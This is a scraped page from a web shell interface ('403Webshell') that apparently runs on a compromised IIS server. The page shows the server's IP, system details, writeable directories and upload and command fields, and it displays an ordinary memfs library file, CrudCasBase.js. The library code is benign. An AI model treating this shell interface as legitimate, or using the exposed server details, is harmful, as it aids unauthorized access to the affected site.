403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/parsmega.nuxt/node_modules/memfs/lib/crud-to-cas/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/parsmega.nuxt/node_modules/memfs/lib/crud-to-cas/CrudCasBase.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.CrudCasBase = void 0;
const normalizeErrors = async (code) => {
    try {
        return await code();
    }
    catch (error) {
        if (error && typeof error === 'object') {
            switch (error.name) {
                case 'ResourceNotFound':
                case 'CollectionNotFound':
                    throw new DOMException(error.message, 'BlobNotFound');
            }
        }
        throw error;
    }
};
class CrudCasBase {
    constructor(crud, hash, hash2Loc, hashEqual) {
        this.crud = crud;
        this.hash = hash;
        this.hash2Loc = hash2Loc;
        this.hashEqual = hashEqual;
        this.put = async (blob) => {
            const digest = await this.hash(blob);
            const [collection, resource] = this.hash2Loc(digest);
            await this.crud.put(collection, resource, blob);
            return digest;
        };
        this.get = async (hash, options) => {
            const [collection, resource] = this.hash2Loc(hash);
            return await normalizeErrors(async () => {
                const blob = await this.crud.get(collection, resource);
                if (!(options === null || options === void 0 ? void 0 : options.skipVerification)) {
                    const digest = await this.hash(blob);
                    if (!this.hashEqual(digest, hash))
                        throw new DOMException('Blob contents does not match hash', 'Integrity');
                }
                return blob;
            });
        };
        this.del = async (hash, silent) => {
            const [collection, resource] = this.hash2Loc(hash);
            await normalizeErrors(async () => {
                return await this.crud.del(collection, resource, silent);
            });
        };
        this.info = async (hash) => {
            const [collection, resource] = this.hash2Loc(hash);
            return await normalizeErrors(async () => {
                return await this.crud.info(collection, resource);
            });
        };
    }
}
exports.CrudCasBase = CrudCasBase;
//# sourceMappingURL=CrudCasBase.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit